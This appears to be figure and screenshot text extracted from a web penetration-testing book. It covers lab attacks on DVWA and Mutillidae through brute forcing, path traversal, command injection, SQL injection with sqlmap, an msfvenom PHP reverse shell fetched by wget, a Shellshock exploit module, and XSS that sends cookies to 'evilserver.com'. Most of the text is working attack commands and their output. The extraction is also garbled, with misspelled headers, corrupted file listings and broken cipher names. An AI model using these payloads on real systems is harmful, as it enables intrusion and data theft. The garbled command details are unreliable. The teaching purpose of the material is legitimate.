Referer: http://www.testlab.org/form/login.html
Conent-Type: application/x-www-form-urlencoded
Conent-Length: 34
user=admin&pass=admin&action=Login

root@Kali:~# hydra 192.168.1.8 http-form-post "/form_auth/login.php:use="USER"&pass="PASS:Rejected" -L user.txt -P pass.txt -t 10 -w 30 -o hydra2.txt
Hydra v7.6 (c)2013 by van Hauser/TNH & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-02-14 10:42:34
[DATA] 10 tasks, 1 server, 391 login tries (1:17/p:23), ~39 tries per task
[DATA] attacking service http-post-form on port 80
1 of 1 target successfully completed, 1 valid password found
root@Kali:~#
POST /mutilidae/index.php?page=text-file-viewer.php HTTP/1.1
Host: 192.168.1.65
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009012815 Ubuntu/9.04 (jaunty) Firefox/3.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*; q=0.8
Accept-Language: en-us,en;q=0.8
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, utf-8; q=0.7;*,; q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: showhints=0; PHPSESSID=qmacb2cn5mh99nnm70560e2p0; acopendivids=swingset,jotte,phpbb2,redmine,acp
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

textfile=/etc/passwd&text-file-viewer-php-submit-button=View+File

File: /etc/passwd

root:x:0:/root:/root:/root/bin/bash
desc:x:11:docker:/var/run/docker/bin/bash
bin:x:2:/bin:/bin/sh
dev:x:3:/dev:/bin/sh
sync:x:4:45534:/sbin:/bin/sync
games:x:9:0:/games:/sbin:/bin/sh
man:x:6:121:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lp:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin/proxy:/bin/sh
ftp:x:20:20:ftp:/var/ftp:/bin/sh
backup:x:54:54:backup:/var/backup:/bin/sh
data:x:49:49:ftpdata:/var/spool/ftpdata:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin/proxy:/bin/sh
ftp:x:20:20:ftp:/var/ftp:/bin/sh
backup:x:54:54:backup:/var/backup:/bin/sh
data:x:49:49:ftpdata:/var/spool/ftpdata:/bin/sh

Who would you like to do a DNS lookup on?
Enter IP or hostname

Hostname/IP: facebook.com & ls -la

Results for facebook.com & ls -la

Server: 103.2.148.2
Address: 103.2.148.2#53

Non-authoritative answer:
Name: facebook.com
Address: 173.252.129.6

total 532
-dwrr-xr-x 16 uuu-data uuu-data 4096 Sep 27 2013 ...
dwrr-xr-x 28 root root 4096 Sep 26 2013 ..
dwrr-xr-x 1 uuu-data uuu-data 174 Sep 26 2013 ..buildpath
-dwrr-xr-x 1 uuu-data uuu-data 4096 Sep 26 2013 .git
-dwrr-xr-x 1 uuu-data uuu-data 829 Sep 26 2013 .htaccess
-dwrr-xr-x 1 uuu-data uuu-data 712 Sep 26 2013 .project
-dwrr-xr-x 1 uuu-data uuu-data 4096 Sep 26 2013 .settings
dwrr-xr-x 1 uuu-data uuu-data 14153 Sep 26 2013 add-to-your-blog.php
dwrr-xr-x 2 uuu-data uuu-data 4096 Sep 26 2013 ajax
-dwrr-xr-x 1 uuu-data uuu-data 5909 Sep 26 2013 arbitrary-file-inclusion.php
-dwrr-xr-x 1 uuu-data uuu-data 534 Sep 26 2013 authorization-required.php
Server Error in '/' Application.

Invalid column name 'x'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Invalid column name 'x'.

Query failed Duplicate entry '5.0.84' for key 2.
Warning: mysql_list_rows(): supplied arguments is not a valid MySQL result resource in /usr/local/www/data-distinfo.php on line 10

select * from Users where userid = ' ' OR 1=1 -- AND password = ' '
Illustration of XSS attack

Vulnerable web application

Attacker injects code through the vulnerable web application

Victim made to attack the same web application or steal data from the browser or perform some action on other third party website

Innocent Victim

Other websites

DNS Lookup

Vulnerable to XSS!

Enter IP or hostname

Hostname/IP:

Lookup DNS
Illustration of Session fixation attack

2 values passed for one variable in POST method
Malicious POST request with duplicate variables

Chapter 5: Attacking the Server Using Injection-based Flaws
<table>
<thead>
<tr>
<th>Brand</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tesla</td>
</tr>
<tr>
<td>Greyore</td>
</tr>
<tr>
<td>Dante</td>
</tr>
<tr>
<td>Tinkle</td>
</tr>
<tr>
<td>Arkin Comics</td>
</tr>
<tr>
<td>Heven &amp; Hell</td>
</tr>
</tbody>
</table>

Linux kali-1 3.18.0-kali3.amd64

```
root@kali-1:/home# /usr/bin/wapiti-gotcookie /home/data/cookie.json http://192.168.1.70/dvwa/login.php
<Cookie security=low for 192.168.1.70/dvwa>
<Cookie PHPSESSID=0f446084d462f77d1m9pp99s4 for 192.168.1.70/>
Please enter values for the following form:
url = http://192.168.1.70/dvwa/login.php
username (default) : user
password (letmein) : user
Login (Login) : user
<Cookie security=low for 192.168.1.70/dvwa>
<Cookie PHPSESSID=8f446084d462f77d1m9pp99s4 for 192.168.1.70/>
```
root@kali-1:/home# cat /home/data/cookie.json
{
  ".192.168.1.70": {
    "/dvwa": {
      "security": {
        "version": 0,
        "expires": null,
        "secure": false,
        "value": "low",
        "port": null
      }
    },
    "/": {
      "PHPSESSID": {
        "version": 0,
        "expires": null,
        "secure": false,
        "value": "8fahbo84sa6l2f77dlmr7p90s4",
        "port": null
      }
    }
  }
}

root@Kali-1:~
root@Kali-1:~ wapiti http://192.168.1.70/dvwa/vulnerabilities/exec -c /home/data/cookie.json -v Z -f html -o /home/data -m "-all,exec:post"

Wapiti-2.2.1 (wapiti.sourceforge.net)
http://192.168.1.70/dvwa/vulnerabilities/exec
http://192.168.1.70/dvwa/vulnerabilities/exec/

Notice
-------
This scan has been saved in the file /root/scans/192.168.1.70.xml
You can use it to perform attacks without scanning again the web site with the "-k" parameter
[*] Loading modules :
+ http://192.168.1.70/dvwa/vulnerabilities/exec/
  {u'ip': 'on', u'submit': '/e\x00'}
Timeout in http://192.168.1.70/dvwa/vulnerabilities/exec/
  with params = ip=on&submit=%2Fe%00
  coming from http://192.168.1.70/dvwa/vulnerabilities/exec/
Report
-------
A report has been generated in the file /home/data/...
Vulnerabilities report -- Wapiti

**Summary**

<table>
<thead>
<tr>
<th>High</th>
<th>Medium</th>
<th>Low</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

**Commands Execution**

**Description:** This attack consists in executing system commands on the server. The attacker tries to inject this commands in the request parameters.

**Solution:** Prefer working without user input when using file system calls.

**References:**

**Task Level:** High

**URL:** [http://192.168.1.70/dwaw/vulnerabilities/exec/](http://192.168.1.70/dwaw/vulnerabilities/exec/)

**Parameter:** ip=a%3Benv&submit=submit

**Info:** Command execution coming from [http://192.168.1.70/dwaw/vulnerabilities/exec/](http://192.168.1.70/dwaw/vulnerabilities/exec/)

---

root@kali-1:/home# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=5061 -e php/base64 -f raw > /home/data/phpshell.txt

No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1785 (iteration=0)

root@kali-1:/home# 

---

File Edit Search Options Help

```
<?php echo eval(base64_decode(IZw.chr(47).cGnwGgplcnJvcI9yX8vcrRpbmc0Mk7C
```
"The quieter you become, the more you are able to hear."

```
root@kali-1:~$ cd /home/data/
root@kali-1:~$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET / HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /css/kube.min.css HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /css/master.css HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /js/jquery-1.9.1.min.js HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /logo_clear.png HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /js/kube.tabs.js HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /js/kube.tabs.js HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:50:46] code 404, message File not found
192.168.1.69 - - [28/Mar/2015 03:50:46] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.69 - - [28/Mar/2015 03:51:16] "GET / HTTP/1.1" 200 -
192.168.1.69 - - [28/Mar/2015 03:51:16] "GET /phpshell.txt HTTP/1.1" 200 -
```

```
= [ metasploit v4.11.1-2015031001 [core:4.11.1-pre.2015031001 api:1.0.6]]
+ -- --=[ 1412 exploits - 862 auxiliary - 229 post ]
+ -- --=[ 361 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.69
LHOST => 192.168.1.69
msf exploit(handler) > set LPORT 5061
LPORT => 5061
msf exploit(handler) > exploit
[+] Started reverse handler on 192.168.1.69:5061
[*] Starting the payload handler...
```

TAMAL LINUX™

**Vulnerability: Command Execution**

**Ping for FREE**

Enter an IP address below:

`wget http://192.168.1.69/phpshell.txt -O /tmp`  **submit**
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.69:5661
[*] Starting the payload handler...
[*] Sending stage (4049 bytes) to 192.168.1.70...
[*] Meterpreter session 2 opened (192.168.1.69:5661 -> 192.168.1.70:38694) at 2015-03-26 04:26:29 +0530

meterpreter >
meterpreter >
meterpreter > sysinfo
Computer : owaspbwa
OS : Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 1686
Meterpreter : php/php
meterpreter > pwd
/home/owaspbwa/dwa-cit/vulnerabilities/exec
meterpreter > shell
Process 3299 created.
Channel 4 created.
date
Thu Mar 28 07:35:28 EDT 2015
lsb release -i
Distributor ID: Ubuntu

GET/mutillidae/index.php?page=user-info.php&username=%60&password=%60 &user-info-php-submit-button
Host:192.168.1.70
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

GET/mutillidae/index.php?page=user-info.php&username=%60&password=%60 &user-info-php-submit-button
Host:192.168.1.70
User-Agent: () {}; ping -c 2 emilattacker.com
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CMD_MAX_LENGTH</td>
<td>2048</td>
<td>yes</td>
<td>CMD max line length</td>
</tr>
<tr>
<td>CVE</td>
<td>CVE-2014-6271</td>
<td>yes</td>
<td>CVE to check/ex</td>
</tr>
<tr>
<td>exploit (accepted: CVE-2014-6271, CVE-2014-6278)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HEADER</td>
<td>User-Agent</td>
<td>yes</td>
<td>HTTP header to use</td>
</tr>
<tr>
<td>METHOD</td>
<td>GET</td>
<td>yes</td>
<td>HTTP method to use</td>
</tr>
<tr>
<td>PORT</td>
<td>80</td>
<td>yes</td>
<td>Port to use</td>
</tr>
<tr>
<td>TARGETURI</td>
<td><a href="http://192.168.1.67/cgi-bin/status">http://192.168.1.67/cgi-bin/status</a></td>
<td>yes</td>
<td>Path to CGI script</td>
</tr>
</tbody>
</table>
Payload options (linux/x86/meterpreter/reverse_tcp):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DebugOptions</td>
<td>0</td>
<td>no</td>
<td>Debugging options for POSIX meterpreter</td>
</tr>
<tr>
<td>LHOST</td>
<td>192.168.1.69</td>
<td>yes</td>
<td>The listen address</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The listen port</td>
</tr>
</tbody>
</table>

Exploit target:

```
Id Name
--- ----
0 Linux x86
```

```
msf exploit(apache_mod_cgi_bash_env_exec) > exploit
[*] Started reverse handler on 192.168.1.69:4444
[*] Command Stager progress: 100.00% done (837/832 bytes)
[*] Transmitting intermediate stager for oversized stage...(180 bytes)
[*] Sending stage (1241888 bytes) to 192.168.1.57
[*] Meterpreter session 3 opened (192.168.1.69:4444 -> 192.168.1.57:48928) at 2015-03-30 08:43:56 -0530
```

```
meterpreter > sysinfo
Computer       : vulnerable
OS              : Linux vulnerable
```

```
meterpreter >
```

```
root@kali-1:~# nmap -sV 192.168.1.70
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-29 22:59 IST
Nmap scan report for 192.168.1.70
Host is up (0.00028s latency).  Not shown: 990 closed ports
PORT     STATE SERVICE         VERSION
22/tcp    open  ssh             OpenSSH 5.3p1 Debian 3Ubuntu4 (Ubuntu Linux; protocol 2.9)
80/tcp    open  http            Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.
3306/tcp  open  mysql           MySQL 5.1.41-3Ubuntu12.04
5061/tcp  open  ovm-manager     Oracle VM Manager
8088/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.1
8081/tcp  open  http            Jetty 6.1.25
MAC Address: 00:9C:29:8F:CA:00 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

"The quieter you become, the more you are able to hear"
msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):

Name    Current Setting  Required  Description
---      ---------------  --------  ----------------------------------
RHOSTS   192.168.1.78    yes       The target address range or CIDR identifier
RPORT   3306            yes       The target port
THREADS  1               yes       The number of concurrent threads

msf auxiliary(mysql_version) > set RHOSTS 192.168.1.78
RHOSTS => 192.168.1.78
msf auxiliary(mysql_version) > run
[*] 192.168.1.78:3306 is running MySQL 5.1.41-3ubuntu12.6-log (protocol 16)
[*] Scanned 1 of 1 hosts (100% complete)

root@kali-1:/home/data# sqlmap -u http://onlinebookstore.org/stock.php?id=108 --threads=2 --dbms

root@kali-1:/home/data# cat http_file1
POST /mutillidae/index.php?page=View-someones-blog.php HTTP/1.1
Host: 192.168.1.78
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: showhints=0; PHPSESSID=hba9tqhdbslko79j5e6e126; acopendivswingset,idml; acgroupswhithpersistid=nda; JSESSIONID=4A3B0271028D83E39176E126A8B46D9E8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
root@kali-1:/home/data# sqlmap -r /home/data/http_file1 --threads=5 --dbs

sqlmap/1.6-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:08:27

[01:59:58] [INFO] fetched data logged to text files under /usr/share/sqlmap/output/192.168.1.78

[*] shutting down at 01:59:58

root@kali-1:/home/data# sqlmap -r /home/data/http_file1 --threads=5 --tables

sqlmap/1.6-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Database: getboo
[18 tables]
+-----------------------------+
| activation                  |
| bookmarks                   |
| bookmarksimport            |
| captchahits                |
| comments                    |
| configs                     |
| configs_groups              |
| ebpoints                    |
+-----------------------------+

Database: bricks
[1 table]

root@kali2:~#
root@kali2:~## sqlmap -u "http://onlinebookstore.org/login.php" --method POST --data loginName=admin&password=admin&submit=log+on -p "loginName" --dbs
sqlmap/1.8-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

Select from the menu:

1) Setup HTTP Parameters
2) Setup BBSQL Options
3) Export Config
4) Import Config
5) Run Exploit
6) Help, Credits, and About
99) Exit the bbqsql injection toolkit

sqlsus version 0.7.2

Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)

[+] Configuration successfully saved to sqlsus.cnfg
```php
// Start of the url used for the injection
// In inband/union mode, it is generally a good idea to append "AND 0" so
// Ex : our $url_start = "http://localhost/script.php?id=1";
our $url_start = "";

// End of the url used for the injection
// When possible, it is generally a good idea to use "#" here, so that ou
// Ex : our $url_end = "#";
our $url_end = "";

// Use POST instead of GET
our $post = 0;

// Use blind injection ?
// set it to 1 for Boolean-based blind injection
// set it to 2 for time-based blind injection (requires MySQL >= 5.0.12)
our $blind = 0;
```

```
# HTTP Request
Host: 192.168.1.70
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: showhints=0; PHPSESSID=hba9jthgbslqkg70j5e8el2611; appenddivs=swingset,jotto,phpbb2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

author=bobby'; __SQLINJECT__ &view-someones-blog.php-submit-button=View+Blog+Entries
```

# Local host: your IP address (for backscan and revshell modes)

```
Chapter 6: Exploiting Clients Using XSS and CSRF Flaws

```
root@kali-1:/home# sqlninja
Sqlninja rel. 0.2.6-ri
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
Usage: /usr/bin/sqlninja
-m <mode> : Required. Available modes are:
  t/test - test whether the injection is working
  f/fingerprint - fingerprint user, xp_cmdshell and more
  b/bruteforce - bruteforce sa account
  e/escalation - add user to sysadmin server role
  x/resurrectxp - try to recreate xp_cmdshell
  u/upload - upload a .scr file
  s/dirshell - start a direct shell
  k/backscan - look for an open outbound port
  r/revshell - start a reverse shell
  d/dnstunnel - attempt a dns tunneled shell
  i/icmptunnel - start a reverse ICMP shell
  c/sqlcmd - issue a 'blind' OS command
  m/metasploit - wrapper to Metasploit stagers
```

Address: http://example.org/hello.php?name=Juned%20Ansari

Hi, Juned Ansari

Address: http://example.org/hello.php?name=<script>alert('Pwned!!');</script>

Pwned!!
Persistent XSS

1. Attacker
   - Vulnerable web application
     <script>document.write("<img src="http://evilserver.com/" +
     document.cookie="")</script>

2. Victim

Reflected XSS

Phishing email contains the below link

   document.write("<img src="http://evilserver.com/" +
   document.cookie="")</script>
1: Authentication

This panel allows you to configure the authentication scheme used for this Context.

Currently selected Authentication method for the Context:
- **Form-based Authentication**

Configure Authentication Method

- **Login Form Target URL**: http://192.168.1.72/dwaw/login.php
- **Login Request POST Data (if any)**:
  - `username=user&password=pass&Login=Login`
- **Username Parameter**: username
- **Password Parameter**: password

The username and password fields will be replaced during authentication, with the username and password corresponding to application's users.

Regex pattern identified in Logged in response messages:

Regex pattern identified in Logged Out response messages:

**Untitled Session - OWASP ZAP**

- **Standard mode**: enabled
- **Forced User Mode**: enabled - click to disable
Testing [XSS from URL] injections... looks like your target is good defined ;)

[-] Verbose: active
[-] Cookie: security=low; PHPSESSID=n76lph8ojlp0khpl1lm3s73h5
[-] HTTP User Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
[-] HTTP Referer: None
[-] Extra HTTP Headers: None
[-] X-Forwarded-For: None
[-] X-Client-IP: None
[-] Authentication Type: None
[-] Authentication Credentials: None
[-] Proxy: None
[-] Timeout: 30
[-] Delaying: 0 seconds
[-] Retries: 1

HEAD alive check for the target: (http://192.168.1.72/dvwa/vulnerabilities/) is OK(200) [A IMED]
### W3af Help

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>start</td>
<td>Start the scan.</td>
</tr>
<tr>
<td>plugins</td>
<td>Enable and configure plugins.</td>
</tr>
<tr>
<td>exploit</td>
<td>Exploit the vulnerability.</td>
</tr>
<tr>
<td>profiles</td>
<td>List and use scan profiles.</td>
</tr>
<tr>
<td>cleanup</td>
<td>Cleanup before starting a new scan.</td>
</tr>
<tr>
<td>help</td>
<td>Display help. Issuing: help [command] , prints more specific help about &quot;command&quot;</td>
</tr>
<tr>
<td>version</td>
<td>Show w3af version information.</td>
</tr>
<tr>
<td>keys</td>
<td>Display key shortcuts.</td>
</tr>
<tr>
<td>http-settings</td>
<td>Configure the HTTP settings of the framework.</td>
</tr>
<tr>
<td>misc-settings</td>
<td>Configure w3af misc settings.</td>
</tr>
<tr>
<td>target</td>
<td>Configure the target URL.</td>
</tr>
<tr>
<td>back</td>
<td>Go to the previous menu.</td>
</tr>
<tr>
<td>exit</td>
<td>Exit w3af.</td>
</tr>
<tr>
<td>kb</td>
<td>Browse the vulnerabilities stored in the Knowledge Base.</td>
</tr>
</tbody>
</table>

### W3af/Plugins

<table>
<thead>
<tr>
<th>Plugin name</th>
<th>Status</th>
<th>Conf</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>blind_sql</td>
<td>Yes</td>
<td></td>
<td>Identify blind SQL injection vulnerabilities.</td>
</tr>
<tr>
<td>buffer_overflow</td>
<td>Yes</td>
<td></td>
<td>Find buffer overflow vulnerabilities.</td>
</tr>
<tr>
<td>cors_origin</td>
<td>Yes</td>
<td></td>
<td>Inspect if application checks that the value of the &quot;Origin&quot; HTTP header is inconsistent with the value of the remote IP address/Host of the sender of the incoming HTTP request.</td>
</tr>
<tr>
<td>csrf</td>
<td></td>
<td></td>
<td>Identify Cross-Site Request Forgery vulnerabilities.</td>
</tr>
<tr>
<td>dav</td>
<td></td>
<td></td>
<td>Verify if the WebDAV module is properly configured.</td>
</tr>
<tr>
<td>eval</td>
<td>Yes</td>
<td></td>
<td>Find insecure eval() usage.</td>
</tr>
</tbody>
</table>

The scan includes the following plugins:
- audit
- blind_sqli
- buffer_overflow
- cors_origin
- csrf
- dav
- eval
- file_upload
- format_string
- frontpage
- generic
- xss

The XSS plugin is selected, and it is described as finding Cross Site Scripting (XSS) vulnerabilities. One configurable parameter exists:
- persistent_xss

The description mentions that to find XSS bugs, the plugin will send a set of javascript strings to every parameter and search for that input in the response. The "persistent_xss" parameter makes the plugin store all data sent to the web application and at the end, request all URLs again searching for those specially crafted strings.
Chapter 7: Attacking SSL-based Websites
<table>
<thead>
<tr>
<th>Issued To</th>
<th>Issued By</th>
<th>Expiration</th>
<th>Friendly Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>AddTrust External CA...</td>
<td>AddTrust External CA...</td>
<td>30-May-20</td>
<td>USERTrust</td>
</tr>
<tr>
<td>America Online Root CA...</td>
<td>America Online Root CA...</td>
<td>20-Nov-37</td>
<td>America Online Root CA...</td>
</tr>
<tr>
<td>Baltimore CyberTrust...</td>
<td>Baltimore CyberTrust...</td>
<td>13-May-25</td>
<td>Baltimore CyberTrust...</td>
</tr>
<tr>
<td>CCA India 2007</td>
<td>CCA India 2007</td>
<td>04-Jul-15</td>
<td>CCA India 2007</td>
</tr>
<tr>
<td>Certum CA</td>
<td>Certum CA</td>
<td>11-Jun-27</td>
<td>Certum</td>
</tr>
<tr>
<td>Class 2 Primary CA</td>
<td>Class 2 Primary CA</td>
<td>07-Jul-19</td>
<td>Class 2 Primary CA</td>
</tr>
<tr>
<td>Class 3 Public Primary CA</td>
<td>Class 3 Public Primary CA</td>
<td>02-Aug-23</td>
<td>Class 3 Public Primary CA</td>
</tr>
<tr>
<td>COMODO Certificate Authority ...</td>
<td>COMODO Certificate Authority ...</td>
<td>01-Jan-31</td>
<td>COMODO</td>
</tr>
<tr>
<td>COMODO RSA Certificate Authority</td>
<td>COMODO RSA Certificate Authority</td>
<td>19-Jan-38</td>
<td>COMODO</td>
</tr>
</tbody>
</table>
root@kali-l:~# openssl s_client -connect www.ebay.in:443
CONNECTED(00000063)
depth=2 C = IE, O = Baltimore, OU = CyberTrust, CN = Baltimore CyberTrust Root
verify error:num=20:unable to get local issuer certificate
verify return:6

Certificate chain
  0 s:/C=US/ST=MA/L=Cambridge/O=Akamai Technologies, Inc./CN=akamai.net
  1 s:/O=Cybertrust Inc/CN=Cybertrust Public SureServer SV CA
  2 s:/O=Facebook/CN=Facebook Public Server CA
  3 s:/O=ISODE/OU=ISODE X.509 - 3 CA

SSL handshake has read 3915 bytes and written 424 bytes

Now, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE

SSL/Session:
  Protocol : TLSv1.2
  Cipher : ECDHE-RSA-AES256-GCM-SHA384
  Session-ID: 8559f061221b29ea673bfe6b7e7c43a2ac285e26b0f306e54e69e98742369e
  Session-ID-ctx:
    Master-Key: 4b2e4f4b9a0d47bece6e66a9d098fb0d4f79fe16feca938ac6681fba5852f05cafe273dc2095569891b

root@kali-l:~# openssl s_client -tls1_2 -cipher "ECDHE-RSA-RSA4-SHA" -connect www.google.com:443
CONNECTED(0000002f)
13966017557738:error:14094419:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure
13966017557738:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:sslv3 alert handshake failure
no peer certificate available

No client certificate CA names sent

SSL handshake has read 7 bytes and written 0 bytes

Now, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE

SSL/Session:
  Protocol : TLSv1.2
  Cipher : 0000
  Session-ID:
    Session-ID-ctx:
      Master-Key: None
      Key-Arg : None
      PSK identity: None
      PSK identity hint: None
      SRP username: None
      Start Time: 1429289418
      Timeout : 7200 (sec)
      Verify return code: 0 (ok)
root@kali-1:~# openssl s_client -tls1_2 -crlf "NULL,EXPORT,LOW,DES" -connect www.google.com:443
CONNECTED(00000003)
1405b5399e3856:error:14090040:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:ss3_pkt.err:9
1405b5399e3856:error:14090040:SSL routines:SSL3_WRITE_BYTES:sslv3 alert handshake failure:ss3_pkt.err:599:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 0 bytes
---
New, (NONE); Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
  Protocol : TLSv1.2

root@kali-1:~# openssl ciphers -v "NULL,EXPORT,LOW,DES"
ECDHE-RSA-NUL1-LHA SSLv3  Kx=ECOH  Au=RSA  Enc=none  Mac=SHA1
ECDHE-ECDSA-NUL1-LHA SSLv3  Kx=ECOH  Au=ECDSA  Enc=none  Mac=SHA1
AEGCDH-NUL1-LHA SSLv3  Kx=ECOH  Au=none  Enc=none  Mac=SHA1
ECDH-RSA-NUL1-LHA SSLv3  Kx=ECOH/RSA  Au=ECOH  Enc=none  Mac=SHA1
ECDHE-ECDSA-NUL1-LHA SSLv3  Kx=ECOH/ECDSA  Au=ECOH  Enc=none  Mac=SHA1
NULL-NUL1-LHA TLSv1.2  Kx=RSA  Au=RSA  Enc=none  Mac=SHA256
NULL-NUL1-NUL1 TLSv3  Kx=RSA  Au=RSA  Enc=none  Mac=SHA1
NULL-MD5 SSLv3  Kx=RSA  Au=RSA  Enc=none  Mac=MD5
EXP-EDH-RSA-DES-CBC-SHA SSLv3  Kx=OH(512)  Au=RSA  Enc=DES(40)  Mac=SHA1 export
EXP-EDH-DES-CBC-SHA SSLv3  Kx=OH(512)  Au=DSS  Enc=DES(40)  Mac=SHA1 export
EXP-ADH-DES-CBC-SHA SSLv3  Kx=OH(512)  Au=DSS  Enc=DES(40)  Mac=SHA1 export
EXP-DES-CBC-SHA SSLv3  Kx=RSA(512)  Au=RSA  Enc=DES(40)  Mac=SHA1 export
EXP-RS2-CBC-MD5 SSLv3  Kx=RSA(512)  Au=RSA  Enc=RCC(40)  Mac=MD5 export
EXP-ADH-RS2-MD5 SSLv3  Kx=OH(512)  Au=none  Enc=RCC(40)  Mac=MD5 export
Testing SSL server www.amazon.com on port 443

**TLS renegotiation:**
Secure session renegotiation supported

**Heartbleed:**
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed

**Supported Server Cipher(s):**

<table>
<thead>
<tr>
<th>Accepted</th>
<th>TLSv1.0</th>
<th>128 bits</th>
<th>ECDHE-RSA-AES128-SHA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accepted</td>
<td>TLSv1.0</td>
<td>128 bits</td>
<td>AES128-SHA</td>
</tr>
<tr>
<td>Accepted</td>
